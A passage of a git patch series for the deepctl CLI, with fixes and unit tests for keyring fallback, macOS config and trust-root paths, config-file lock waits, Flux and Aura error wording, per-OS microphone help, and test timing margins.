     monkeypatch.setattr(sys, "stdout", out)
-    safe_output_streams()
+    dg_main.safe_output_streams()
     assert out.errors == "replace"
 
 
@@ -70,24 +67,26 @@ def test_odd_streams_are_skipped(
 ) -> None:
     monkeypatch.setattr(sys, "stdout", stream)
     monkeypatch.setattr(sys, "stderr", stream)
-    safe_output_streams()  # no error
+    dg_main.safe_output_streams()  # no error
 
 
 def test_closed_stream_is_skipped(monkeypatch: pytest.MonkeyPatch) -> None:
     out = _stream("cp1252")
     out.close()
     monkeypatch.setattr(sys, "stdout", out)
-    safe_output_streams()
+    dg_main.safe_output_streams()
 
 
-@pytest.mark.parametrize("args", [["--help"], ["ffprobe", "--help"], ["--version"]])
+@pytest.mark.parametrize(
+    "args", [["--help"], ["ffprobe", "--help"], ["help", "agent-mode"]]
+)
 def test_redirected_cp1252_output_does_not_crash(
     tmp_path: Path, args: list[str]
 ) -> None:
     env = {
         k: v
         for k, v in os.environ.items()
-        if not k.startswith(("DEEPCTL_", "DEEPGRAM_", "PYTHONIO", "PYTHONUTF8"))
+        if not k.startswith(("DEEPCTL_", "DEEPGRAM_", "PYTHONIO"))
     }
     env.update(
         HOME=str(tmp_path),
@@ -95,12 +94,11 @@ def test_redirected_cp1252_output_does_not_crash(
         XDG_CACHE_HOME=str(tmp_path / "cache"),
         XDG_STATE_HOME=str(tmp_path / "state"),
         PYTHONIOENCODING="cp1252",
-        PYTHONUTF8="0",
         DEEPCTL_TELEMETRY_DISABLED="1",
         NO_COLOR="1",
     )
     proc = subprocess.run(
-        [sys.executable, "-c", "from deepctl.main import main; main()", *args],
+        [sys.executable, "-m", "deepctl", *args],
         capture_output=True,
         env=env,
         cwd=tmp_path,

From 431898913793d978ac5f1741620228b0dc864bf0 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Mon, 2 Nov 2026 10:00:26 -0500
Subject: [PATCH 58/88] fix(login): show a profile's config-file key in
 profiles --list

profiles --list and --current read each profile's key from the keyring
and used the config file's key only when the keyring raised. A backend
that answers "no entry", as Windows Credential Manager does for a key
saved only in config.yaml, showed "API Key: Not set" for a profile that
has one. The config file's key is now shown whenever the keyring has
none.
---
 .../deepctl-core/src/deepctl_core/auth.py     | 12 ++--
 .../tests/unit/test_profiles_list_keys.py     | 59 +++++++++++++++++++
 2 files changed, 66 insertions(+), 5 deletions(-)
 create mode 100644 packages/deepctl-core/tests/unit/test_profiles_list_keys.py

diff --git a/packages/deepctl-core/src/deepctl_core/auth.py b/packages/deepctl-core/src/deepctl_core/auth.py
index ac1506dc..4b14c1fc 100644
--- a/packages/deepctl-core/src/deepctl_core/auth.py
+++ b/packages/deepctl-core/src/deepctl_core/auth.py
@@ -1032,16 +1032,18 @@ def list_profiles(self) -> ProfilesResult:
         for profile_name in self.config.list_profiles():
             profile = self.config.get_profile(profile_name)
 
-            # Try to get API key from keyring first
-            api_key = None
+            # The keyring's key when it has one, else the config file's.
+            # Project ID is only stored in config, not keyring.
             project_id = profile.project_id
-
             try:
                 # Bounded off a terminal; a timeout falls back like an error.
                 api_key = credentials.keyring_read(f"api-key.{profile_name}")
-                # Project ID is only stored in config, not keyring
             except Exception:
-                # Fall back to config
+                api_key = None
+            if not api_key:
+                # No entry, as with a key saved only in the config file
+                # while a keyring backend (Windows Credential Manager, say)
+                # is present.
                 api_key = profile.api_key
 
             masked_key = None
diff --git a/packages/deepctl-core/tests/unit/test_profiles_list_keys.py b/packages/deepctl-core/tests/unit/test_profiles_list_keys.py
new file mode 100644
index 00000000..9903fd81
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_profiles_list_keys.py
@@ -0,0 +1,59 @@
+"""``list_profiles`` shows the key a profile has, wherever it is kept."""
+
+from __future__ import annotations
+
+from unittest.mock import Mock, patch
+
+import pytest
+from deepctl_core import credentials
+from deepctl_core.auth import AuthManager
+from deepctl_core.config import Config
+
+FILE_KEY = "f" * 36 + "FILE"
+RING_KEY = "r" * 36 + "RING"
+
+
+def _config(file_key: str | None) -> Mock:
+    config = Mock(spec=Config)
+    config.config_path = "/mock/path/config.yaml"
+    config.profile = "default"
+    config.list_profiles.return_value = ["default"]
+    profile = Mock()
+    profile.api_key = file_key
+    profile.project_id = "proj"
+    profile.base_url = "https://api.deepgram.com"
+    config.get_profile.return_value = profile
+    return config
+
+
+def _listed(file_key: str | None, keyring_read: object) -> str | None:
+    with (
+        patch("deepctl_core.auth.httpx.Client"),
+        patch.object(credentials, "keyring_read", keyring_read),
+    ):
+        profiles = AuthManager(_config(file_key)).list_profiles().profiles
+    return profiles["default"].api_key
+
+
+def test_key_only_in_config_is_shown_when_keyring_has_no_entry() -> None:
+    # A keyring backend that answers "no entry" (Windows Credential
+    # Manager with nothing stored) used to make this "Not set".
+    assert _listed(FILE_KEY, lambda _name: None) == "****FILE"
+
+
+def test_keyring_key_wins_over_config() -> None:
+    assert _listed(FILE_KEY, lambda _name: RING_KEY) == "****RING"
+
+
+@pytest.mark.parametrize(
+    "error", [RuntimeError("no backend"), credentials.KeyringTimeout()]
+)
+def test_keyring_error_falls_back_to_config(error: BaseException) -> None:
+    def failing(_name: str) -> str | None:
+        raise error
+
+    assert _listed(FILE_KEY, failing) == "****FILE"
+
+
+def test_no_key_anywhere_is_none() -> None:
+    assert _listed(None, lambda _name: None) is None

From 24c31b1027453a19aa62e75e6c96726782a2312d Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Mon, 2 Nov 2026 10:08:28 -0500
Subject: [PATCH 59/88] fix(config): count ~/.config on macOS when
 XDG_CONFIG_HOME names it

On macOS platformdirs puts the user config under $XDG_CONFIG_HOME when
it is set, but only ~/Library/Application Support could approve hosts
in an agent session. A person with XDG_CONFIG_HOME=~/.config, a common
setup, had approved hosts that never counted there.

When XDG_CONFIG_HOME is exactly ~/.config under the account's own home
(taken from the OS, not $HOME), that file is the one that counts, as on
Linux. Any other value still keeps Application Support, so a file
elsewhere never counts in an agent session.
---
 .../deepctl-core/src/deepctl_core/config.py   | 17 ++++-
 .../tests/unit/test_trust_root_macos.py       | 69 +++++++++++++++++++
 2 files changed, 84 insertions(+), 2 deletions(-)
 create mode 100644 packages/deepctl-core/tests/unit/test_trust_root_macos.py

diff --git a/packages/deepctl-core/src/deepctl_core/config.py b/packages/deepctl-core/src/deepctl_core/config.py
index b441ff78..4e1a0f68 100644
--- a/packages/deepctl-core/src/deepctl_core/config.py
+++ b/packages/deepctl-core/src/deepctl_core/config.py
@@ -287,7 +287,14 @@ def _windows_folder(csidl: int) -> str | None:
 
 def _real_default_config_file() -> Path | None:
     """Where platformdirs puts the user config with no ``HOME`` or
-    ``XDG_CONFIG_HOME`` override: derived from the account itself."""
+    ``XDG_CONFIG_HOME`` override: derived from the account itself.
+
+    On macOS, platformdirs moves the config to ``$XDG_CONFIG_HOME`` when
+    that is set. Only the XDG default, ``~/.config`` under the account's
+    own home, is followed there: it is a fixed path, like the Linux one.
+    Any other value keeps ``~/Library/Application Support``, so a file
+    somewhere else (a repository, say) never counts in an agent session.
+    """
     if sys.platform == "win32":
         base = _windows_folder(0x1C)  # CSIDL_LOCAL_APPDATA
         if base is None:
@@ -296,11 +303,17 @@ def _real_default_config_file() -> Path | None:
     home = _real_home()
     if home is None:
         return None
+    xdg_default = Path(home) / ".config" / "deepctl" / "config.yaml"
     if sys.platform == "darwin":
+        xdg = os.environ.get("XDG_CONFIG_HOME", "")
+        if os.path.isabs(xdg) and os.path.normpath(xdg) == os.path.join(
+            os.path.normpath(home), ".config"
+        ):
+            return xdg_default
         return (
             Path(home) / "Library" / "Application Support" / "deepctl" / "config.yaml"
         )
-    return Path(home) / ".config" / "deepctl" / "config.yaml"
+    return xdg_default
 
 
 def _trust_root_location() -> tuple[Path, Path] | None:
diff --git a/packages/deepctl-core/tests/unit/test_trust_root_macos.py b/packages/deepctl-core/tests/unit/test_trust_root_macos.py
new file mode 100644
index 00000000..7d73690e
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_trust_root_macos.py
@@ -0,0 +1,69 @@
+"""Which file can approve hosts in an agent session on macOS.
+
+Runs on any platform: ``sys.platform`` and the account's home are
+patched, so this proves the choice of path, not a real macOS layout.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+import pytest
+from deepctl_core import config as config_module
+
+HOME = "/Users/someone"
+LIBRARY = Path(HOME) / "Library" / "Application Support" / "deepctl" / "config.yaml"
+DOT_CONFIG = Path(HOME) / ".config" / "deepctl" / "config.yaml"
+
+
+@pytest.fixture
+def macos(monkeypatch):
+    monkeypatch.setattr(sys, "platform", "darwin")
+    monkeypatch.setattr(config_module, "_real_home", lambda: HOME)
+    monkeypatch.delenv("XDG_CONFIG_HOME", raising=False)
+
+
+def test_without_xdg_it_is_application_support(macos):
+    assert config_module._real_default_config_file() == LIBRARY
+    assert config_module._trust_root_location() == (Path(HOME), LIBRARY)
+
+
+@pytest.mark.parametrize(
+    "value", [f"{HOME}/.config", f"{HOME}/.config/", f"{HOME}//.config/."]
+)
+def test_xdg_default_follows_the_config(macos, monkeypatch, value):
+    monkeypatch.setenv("XDG_CONFIG_HOME", value)
+    assert config_module._real_default_config_file() == DOT_CONFIG
+    assert config_module._trust_root_location() == (Path(HOME), DOT_CONFIG)
+
+
+@pytest.mark.parametrize(
+    "value",
+    [
+        "",
+        ".config",  # relative: platformdirs ignores it too
+        "/tmp/repo/.config",
+        f"{HOME}/repo/.config",
+        f"{HOME}/.config/../repo",
+        "/Users/other/.config",
+    ],
+)
+def test_any_other_xdg_keeps_application_support(macos, monkeypatch, value):
+    monkeypatch.setenv("XDG_CONFIG_HOME", value)
+    assert config_module._real_default_config_file() == LIBRARY
+
+
+def test_home_env_never_counts(macos, monkeypatch):
+    monkeypatch.setenv("HOME", "/tmp/fakehome")
+    monkeypatch.setenv("XDG_CONFIG_HOME", "/tmp/fakehome/.config")
+    assert config_module._real_default_config_file() == LIBRARY
+
+
+def test_linux_is_unchanged(monkeypatch):
+    monkeypatch.setattr(sys, "platform", "linux")
+    monkeypatch.setattr(config_module, "_real_home", lambda: "/home/someone")
+    monkeypatch.setenv("XDG_CONFIG_HOME", "/tmp/elsewhere")
+    assert config_module._real_default_config_file() == Path(
+        "/home/someone/.config/deepctl/config.yaml"
+    )

From ac2d323ed0b3acfe476e7c50222e787948ca0015 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Mon, 2 Nov 2026 10:13:55 -0500
Subject: [PATCH 60/88] fix(config): wait for a locked config file once per run

A read waits up to 5 s for a writer's lock on the config file, then
skips the file with a warning. A command reads the file more than once,
so a writer stuck holding the lock made `dg profiles --list` wait two or
three times as long (about 16 s on macOS). Once a wait for a file has
timed out, later reads of that file in the same run try the lock once
and skip it straight away. A run now waits at most one bound.
---
 .../deepctl-core/src/deepctl_core/config.py   | 19 ++++-
 .../tests/unit/test_config_busy_once.py       | 83 +++++++++++++++++++
 2 files changed, 101 insertions(+), 1 deletion(-)
 create mode 100644 packages/deepctl-core/tests/unit/test_config_busy_once.py

diff --git a/packages/deepctl-core/src/deepctl_core/config.py b/packages/deepctl-core/src/deepctl_core/config.py
index 4e1a0f68..0377c314 100644
--- a/packages/deepctl-core/src/deepctl_core/config.py
+++ b/packages/deepctl-core/src/deepctl_core/config.py
@@ -814,6 +814,14 @@ def _is_regular_fd(fd: int, st: os.stat_result | None = None) -> bool:
     return False
 
 
+# (st_dev, st_ino) of files whose shared lock stayed taken for a whole wait
+# in this process. A command reads the user config several times (load,
+# then auth and profile lookups); each later read of such a file tries the
+# lock once and gives up at once instead of waiting again, so a stuck
+# writer costs one bounded wait per run.
+_busy_files: set[tuple[int, int]] = set()
+
+
 def _flock_shared_bounded(fd: int) -> bool:
     """Take a shared flock on ``fd``, waiting about ``_LOCK_TIMEOUT`` s.
 
@@ -831,15 +839,24 @@ def _flock_shared_bounded(fd: int) -> bool:
         import fcntl
     except ImportError:
         return False
+    try:
+        st = os.fstat(fd)
+        key: tuple[int, int] | None = (st.st_dev, st.st_ino)
+    except OSError:
+        key = None
     deadline = time.monotonic() + _LOCK_TIMEOUT
     while True:
         try:
             fcntl.flock(fd, fcntl.LOCK_SH | fcntl.LOCK_NB)
+            if key is not None:
+                _busy_files.discard(key)
             return True
         except OSError as exc:
             if exc.errno not in (errno.EWOULDBLOCK, errno.EAGAIN):
                 return False
-        if time.monotonic() >= deadline:
+        if key in _busy_files or time.monotonic() >= deadline:
+            if key is not None:
+                _busy_files.add(key)
             raise _ConfigBusy(errno.EWOULDBLOCK, _E_READ_BUSY)
         time.sleep(_LOCK_STEP / 5)
 
diff --git a/packages/deepctl-core/tests/unit/test_config_busy_once.py b/packages/deepctl-core/tests/unit/test_config_busy_once.py
new file mode 100644
index 00000000..b8086903
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_config_busy_once.py
@@ -0,0 +1,83 @@
+"""A config file another process keeps locked costs one bounded wait per
+run, not one per read."""
+
+from __future__ import annotations
+
+import os
+import sys
+import time
+
+import pytest
+import yaml
+from deepctl_core import config as config_module
+from deepctl_core import output
+
+fcntl = pytest.importorskip("fcntl")
+
+pytestmark = pytest.mark.skipif(
+    not sys.platform.startswith("linux"), reason="XDG layout (Linux)"
+)
+
+WAIT = 0.4
+
+
+@pytest.fixture
+def held(tmp_path, monkeypatch):
+    monkeypatch.setattr(config_module, "_pending_notices", [])
+    monkeypatch.setattr(config_module, "_seen_notices", set())
+    monkeypatch.setattr(config_module, "_busy_files", set())
+    monkeypatch.setattr(config_module, "_LOCK_TIMEOUT", WAIT)
+    home = tmp_path / "home"
+    (home / ".config" / "deepctl").mkdir(parents=True)
+    cfg = home / ".config" / "deepctl" / "config.yaml"
+    cfg.write_text(yaml.safe_dump({"profiles": {"default": {"project_id": "p"}}}))
+    os.chmod(cfg, 0o600)
+    monkeypatch.setattr(config_module, "_real_home", lambda: str(home))
+    monkeypatch.setenv("HOME", str(home))
+    monkeypatch.delenv("XDG_CONFIG_HOME", raising=False)
+    monkeypatch.setattr(output, "is_ai_agent", lambda: False)
+    # A writer stuck in the middle of a rewrite.
+    fd = os.open(cfg, os.O_RDWR)
+    fcntl.flock(fd, fcntl.LOCK_EX)
+    yield cfg
+    os.close(fd)
+
+
+def test_second_read_of_a_busy_file_does_not_wait_again(held):
+    with config_module._open_config(held) as f:
+        started = time.monotonic()
+        with pytest.raises(config_module._ConfigBusy):
+            f.load()
+        first = time.monotonic() - started
+    with config_module._open_config(held) as f:
+        started = time.monotonic()
+        with pytest.raises(config_module._ConfigBusy):
+            f.load()
+        second = time.monotonic() - started
+    assert first >= WAIT
+    assert second < WAIT / 2
+
+
+def test_freed_lock_is_read_again(held, tmp_path):
+    with config_module._open_config(held) as f, pytest.raises(
+        config_module._ConfigBusy
+    ):
+        f.load()
+    # A different file is not affected by the first one's wait.
+    other = tmp_path / "other.yaml"
+    other.write_text("a: 1\n")
+    with config_module._open_config(other) as f:
+        assert f.load() == {"a": 1}
+
+
+def test_a_run_that_loads_the_config_twice_waits_once(held):
+    from deepctl_core.auth import AuthManager
+    from deepctl_core.config import Config
+
+    started = time.monotonic()
+    AuthManager(Config()).list_profiles()
+    AuthManager(Config()).list_profiles()
+    took = time.monotonic() - started
+    # Before, every read waited the full bound: `dg profiles --list` took
+    # two or three times the 5 s default.
+    assert took < WAIT * 1.75, took

From 337ba3ca9f79ec1f885466b5acdc468441b479e9 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Mon, 2 Nov 2026 10:28:28 -0500
Subject: [PATCH 61/88] fix(listen,speak): name Flux models, not API versions

Flux errors and the speak --model help said "Flux STT (listen v2)",
"Speak v2" and "Speak v1": API names nobody types. They now name the
model families (Flux models, flux-* and aura-* voices) and say what to
do instead.
---
 .../src/deepctl_cmd_listen/command.py              | 14 +++++++-------
 .../src/deepctl_cmd_speak/command.py               | 12 +++++-------
 .../tests/unit/test_speak_command.py               |  2 +-
 src/deepctl/_manifest.d/speak.json                 |  2 +-
 4 files changed, 14 insertions(+), 16 deletions(-)

diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index af2f5576..a53dda93 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -667,15 +667,15 @@ def handle(
         # a header dump. Say so up front instead.
         if api_version >= 2 and mode in ("prerecorded_file", "prerecorded_url"):
             raise click.ClickException(
-                f"Flux STT ({model}) is streaming-only and cannot transcribe "
-                "a file or URL. Use a live source (--mic, stdin, or '-'), or "
-                "pick a v1 model (e.g. nova-3) for pre-recorded audio."
+                f"Flux models ({model}) are streaming-only and can't "
+                "transcribe a file or URL. Use a live source (--mic, or - for "
+                "stdin), or pick another model (e.g. nova-3) for recorded "
+                "audio."
             )
 
         if api_version >= 2 and channels != 1:
             raise click.ClickException(
-                f"--channels {channels} is not supported by Flux STT ({model}); "
-                "listen v2 accepts mono audio only (--channels 1)."
+                f"Flux models stream mono audio only: use --channels 1, not {channels}."
             )
 
         # Flux STT (listen v2) only accepts a narrow --redact vocabulary; the
@@ -686,8 +686,8 @@ def handle(
             if bad:
                 allowed = " or ".join(f"'{v}'" for v in _FLUX_REDACT)
                 raise click.ClickException(
-                    f"--redact {', '.join(bad)} is not supported by Flux STT "
-                    f"({model}); listen v2 accepts only {allowed}."
+                    f"Flux models accept only {allowed} for --redact, not "
+                    f"{', '.join(bad)}."
                 )
 
         # ── Caption format ─────────────────────────────────────────────
diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
index caeb1692..eaf7ebda 100644
--- a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
@@ -919,10 +919,9 @@ def get_arguments(self) -> list[dict[str, Any]]:
             {
                 "names": ["--model", "-m"],
                 "help": (
-                    "TTS model. flux-* = Flux TTS / Speak v2 (WebSocket "
-                    "streaming; default flux-alexis-en); aura-* = Speak v1 "
-                    "(REST batch, e.g. aura-2-asteria-en). "
-                    "See voices: dg speak --list-voices"
+                    "Voice model: flux-* voices stream as they speak "
+                    "(default flux-alexis-en); aura-* voices return the whole "
+                    "file. See voices: dg speak --list-voices"
                 ),
                 "type": str,
                 "is_option": True,
@@ -1237,9 +1236,8 @@ def handle(
         # so the failure exits non-zero in every output mode.
         if not is_flux and (speed is not None or expressivity is not None):
             raise click.ClickException(
-                "--speed and --expressivity are only supported for Flux TTS "
-                "(Speak v2) models (flux-*). They are not available for "
-                f"Speak v1 model '{model}'."
+                "--speed and --expressivity work only with Flux voices "
+                f"(flux-*), not '{model}'."
             )
         if speed is not None and speed not in _FLUX_SPEEDS:
             allowed = ", ".join(f"{s:.2f}" for s in _FLUX_SPEEDS)
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py
index b513fd84..330368f6 100644
--- a/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py
@@ -654,7 +654,7 @@ def test_handle_speed_rejected_for_aura(
         mock_sys.stdin.isatty.return_value = True
         mock_sys.stdout.isatty.return_value = True
 
-        with pytest.raises(click.ClickException, match="only supported for Flux"):
+        with pytest.raises(click.ClickException, match="work only with Flux voices"):
             command.handle(
                 config=mock_config,
                 auth_manager=mock_auth_manager,
diff --git a/src/deepctl/_manifest.d/speak.json b/src/deepctl/_manifest.d/speak.json
index b91768e1..0e4501d5 100644
--- a/src/deepctl/_manifest.d/speak.json
+++ b/src/deepctl/_manifest.d/speak.json
@@ -205,7 +205,7 @@
         "is_flag": false,
         "count": false,
         "hidden": false,
-        "help": "TTS model. flux-* = Flux TTS / Speak v2 (WebSocket streaming; default flux-alexis-en); aura-* = Speak v1 (REST batch, e.g. aura-2-asteria-en). See voices: dg speak --list-voices"
+        "help": "Voice model: flux-* voices stream as they speak (default flux-alexis-en); aura-* voices return the whole file. See voices: dg speak --list-voices"
       },
       {
         "class": "option",

From 37e24140207dfbf04eeb9be78bfd32faf5638192 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Mon, 2 Nov 2026 10:31:06 -0500
Subject: [PATCH 62/88] fix(listen): give each OS its own stdin and microphone
 help

The stdin banner said to send EOF with Ctrl+D, which doesn't end input
in a Windows console; Windows now gets "Ctrl+Z, then Enter". A refused
microphone printed PortAudio's text and macOS-only advice. It now uses
the catalogue's mic-denied message and hint, plus the setting's place
on macOS or Windows. Other microphone errors keep their own text.
---
 .../src/deepctl_cmd_listen/command.py         | 33 +++++++++---
 .../src/deepctl_cmd_listen/messages.py        | 12 +++++
 .../tests/unit/test_platform_text.py          | 51 +++++++++++++++++++
 3 files changed, 88 insertions(+), 8 deletions(-)
 create mode 100644 packages/deepctl-cmd-listen/tests/unit/test_platform_text.py

diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index a53dda93..74bc4631 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -285,6 +285,26 @@ def _prog() -> str:
     return "dg"
 
 
+def _finish_keys() -> str:
+    """The keys that end typed input: Ctrl+D doesn't in a Windows console."""
+    return "Ctrl+Z, then Enter," if sys.platform == "win32" else "Ctrl+D"
+
+
+def _mic_denied_text() -> str:
+    """The microphone was refused: what happened, what to do, and where
+    that setting lives on this OS."""
+    hint = msg.A_MIC_DENIED if (_agentic or agent_mode()) else msg.H_MIC_DENIED
+    lines = [msg.E_MIC_DENIED.format(prog=_prog()), hint]
+    if sys.platform == "darwin":
+        lines.append("macOS: System Settings → Privacy & Security → Microphone")
+    elif sys.platform == "win32":
+        lines.append(
+            "Windows: Settings → Privacy & security → Microphone, and turn on "
+            "'Let desktop apps access your microphone'"
+        )
+    return "\n".join(lines)
+
+
 class ListenCommand(BaseCommand):
     """Unified speech-to-text command supporting files, URLs, mic, and streams."""
 
@@ -1140,17 +1160,13 @@ def _stream_mic(
             raise
         except Exception as e:
             err = str(e)
-            msg_text = f"Microphone error: {err}"
             if (
                 "Invalid input device" in err
                 or "PortAudio" in err
                 or "No Default Input" in err
             ):
-                msg_text += (
-                    "\n\nOn macOS, make sure your terminal has microphone access:"
-                    "\n  System Settings → Privacy & Security → Microphone"
-                )
-            return BaseResult(status="error", message=msg_text)
+                return BaseResult(status="error", message=_mic_denied_text())
+            return BaseResult(status="error", message=f"Microphone error: {err}")
         finally:
             early.restore()
 
@@ -1321,7 +1337,7 @@ def _stream_stdin(
             note = f"Model: {model} · Language: {language}"
             if diarize:
                 note += " · Speaker labels enabled"
-            note += " · Ctrl+D to finish"
+            note += f" · {_finish_keys()} to finish"
             try:
                 caption_writer.print_header(
                     note=note if caption_format == "webvtt" else None
@@ -1330,7 +1346,8 @@ def _stream_stdin(
                 live.silence_stdout()
         else:
             status.print(
-                f"[green]✓[/green] Streaming stdin · {model} · send EOF (Ctrl+D) to finish"
+                f"[green]✓[/green] Streaming stdin · {model} · press "
+                f"{_finish_keys()} to finish"
             )
 
         _freeze_at_exit()
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
index bf1b8ac9..8ea85364 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
@@ -137,3 +137,15 @@
     "Not using {path} for saved results: it isn't a private directory owned "
     "by you. Using a new temporary directory instead."
 )
+
+# The microphone was refused (a PortAudio "invalid input device" or "no
+# default input"). Catalogue mic_not_allowed; the code itself ships later.
+E_MIC_DENIED = "{prog} can't use the microphone: access was denied."
+H_MIC_DENIED = (
+    "Allow microphone access for your terminal app in your system privacy "
+    "settings, then try again."
+)
+A_MIC_DENIED = (
+    "Ask the user to allow microphone access for their terminal, or "
+    "transcribe a file instead."
+)
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_platform_text.py b/packages/deepctl-cmd-listen/tests/unit/test_platform_text.py
new file mode 100644
index 00000000..f9d77e45
--- /dev/null
+++ b/packages/deepctl-cmd-listen/tests/unit/test_platform_text.py
@@ -0,0 +1,51 @@
+"""Text that depends on the OS: how to end stdin, where mic access lives.
+
+``sys.platform`` is patched, so this proves the wording each OS gets, not
+the console's own behaviour.
+"""
+
+from __future__ import annotations
+
+import sys
+
+import pytest
+from deepctl_cmd_listen import command
+from deepctl_cmd_listen import messages as msg
+
+
+@pytest.mark.parametrize(
+    ("platform", "keys"),
+    [("win32", "Ctrl+Z, then Enter,"), ("linux", "Ctrl+D"), ("darwin", "Ctrl+D")],
+)
+def test_finish_keys(monkeypatch, platform, keys):
+    monkeypatch.setattr(sys, "platform", platform)
+    assert command._finish_keys() == keys
+
+
+@pytest.mark.parametrize(
+    ("platform", "where"),
+    [
+        ("darwin", "macOS: System Settings → Privacy & Security → Microphone"),
+        ("win32", "Windows: Settings → Privacy & security → Microphone"),
+        ("linux", None),
+    ],
+)
+def test_mic_denied_text(monkeypatch, platform, where):
+    monkeypatch.setattr(sys, "platform", platform)
+    monkeypatch.setattr(command, "_agentic", False)
+    monkeypatch.setattr(command, "agent_mode", lambda: False)
+    monkeypatch.setattr(command, "_prog", lambda: "dg")
+    lines = command._mic_denied_text().split("\n")
+    assert lines[0] == "dg can't use the microphone: access was denied."
+    assert lines[1] == msg.H_MIC_DENIED
+    if where is None:
+        assert len(lines) == 2
+    else:
+        assert lines[2].startswith(where)
+    assert "PortAudio" not in "\n".join(lines)
+
+
+def test_mic_denied_text_for_an_agent(monkeypatch):
+    monkeypatch.setattr(sys, "platform", "linux")
+    monkeypatch.setattr(command, "agent_mode", lambda: True)
+    assert command._mic_denied_text().split("\n")[1] == msg.A_MIC_DENIED

From b9048efd27680134baf283dfd3e6ccff89b091e2 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Mon, 2 Nov 2026 10:28:41 -0500
Subject: [PATCH 63/88] test: give timing checks room on a busy host

Some tests that came from earlier releases measured wall-clock time
with bounds a loaded machine can miss. Each check keeps what it proves,
with a wider margin:

- skills: the lock wait is 2 s, so one wait (2 s) and one per tool
  (4 s) stay apart; a stale lock is taken well inside a 10 s timeout.
- config save: one 5 s lock wait is under 8.5 s; two would not be.
- FileInfo creation is measured in CPU time, 2 s for 1000 models.
- dg mcp e2e: no connection attempt within 12 s (one waits 15 s).
---
 packages/deepctl-cmd-mcp/tests/e2e/test_stdio_e2e.py   |  2 +-
 .../tests/unit/test_skills_command.py                  |  5 +++--
 packages/deepctl-core/tests/unit/test_config_save.py   |  2 +-
 .../deepctl-core/tests/unit/test_skill_generator.py    | 10 +++++-----
 .../deepctl-shared-utils/tests/unit/test_file_info.py  |  9 +++++----
 5 files changed, 15 insertions(+), 13 deletions(-)

diff --git a/packages/deepctl-cmd-mcp/tests/e2e/test_stdio_e2e.py b/packages/deepctl-cmd-mcp/tests/e2e/test_stdio_e2e.py
index 17f8164a..93d4e82f 100644
--- a/packages/deepctl-cmd-mcp/tests/e2e/test_stdio_e2e.py
+++ b/packages/deepctl-cmd-mcp/tests/e2e/test_stdio_e2e.py
@@ -328,7 +328,7 @@ def test_exits_on_eof_without_connecting(tmp_path: Path, argv: list[str]) -> Non
         except (BlockingIOError, OSError):
             connected = False
     assert proc.returncode == 0, proc.stderr
-    assert elapsed < 5
+    assert elapsed < 12  # a connect attempt would wait out its 15 s
     assert not connected
     replies = [json.loads(line) for line in proc.stdout.splitlines()]
     assert [r["id"] for r in replies] == [0, 1]
diff --git a/packages/deepctl-cmd-skills/tests/unit/test_skills_command.py b/packages/deepctl-cmd-skills/tests/unit/test_skills_command.py
index 4abf3b5f..0b5578cf 100644
--- a/packages/deepctl-cmd-skills/tests/unit/test_skills_command.py
+++ b/packages/deepctl-cmd-skills/tests/unit/test_skills_command.py
@@ -461,7 +461,8 @@ def test_remove_waits_for_the_lock_once_for_all_tools(
         roots = [gen(c).skills_root() for c in ("claude", "cursor")]
         before = sg._STATE_FILE.read_bytes(), [sha_tree(r) for r in roots]
         capsys.readouterr()
-        monkeypatch.setattr(sg, "_LOCK_TIMEOUT", 0.5)
+        # 2 s per wait: one wait is 2 s, one per tool would be 4 s.
+        monkeypatch.setattr(sg, "_LOCK_TIMEOUT", 2.0)
         calls = []
         real_remove = sg.remove_tool
         monkeypatch.setattr(
@@ -479,7 +480,7 @@ def test_remove_waits_for_the_lock_once_for_all_tools(
                 sg.msvcrt.locking(fd, sg.msvcrt.LK_UNLCK, 1)
             os.close(fd)
         assert (exc.value.exit_code, exc.value.message) == (1, _msg("E27"))
-        assert 0.5 <= took < 1.0  # One wait, not one per tool.
+        assert 2.0 <= took < 3.9  # One wait, not one per tool.
         assert calls == [] and _msg("E27") not in err_text(capsys)
         assert (sg._STATE_FILE.read_bytes(), [sha_tree(r) for r in roots]) == before
 
diff --git a/packages/deepctl-core/tests/unit/test_config_save.py b/packages/deepctl-core/tests/unit/test_config_save.py
index 191407c7..2070e0ca 100644
--- a/packages/deepctl-core/tests/unit/test_config_save.py
+++ b/packages/deepctl-core/tests/unit/test_config_save.py
@@ -989,7 +989,7 @@ def busy(src, dst):
         assert "another process is writing this config, so nothing was saved" in str(
             err.value
         )
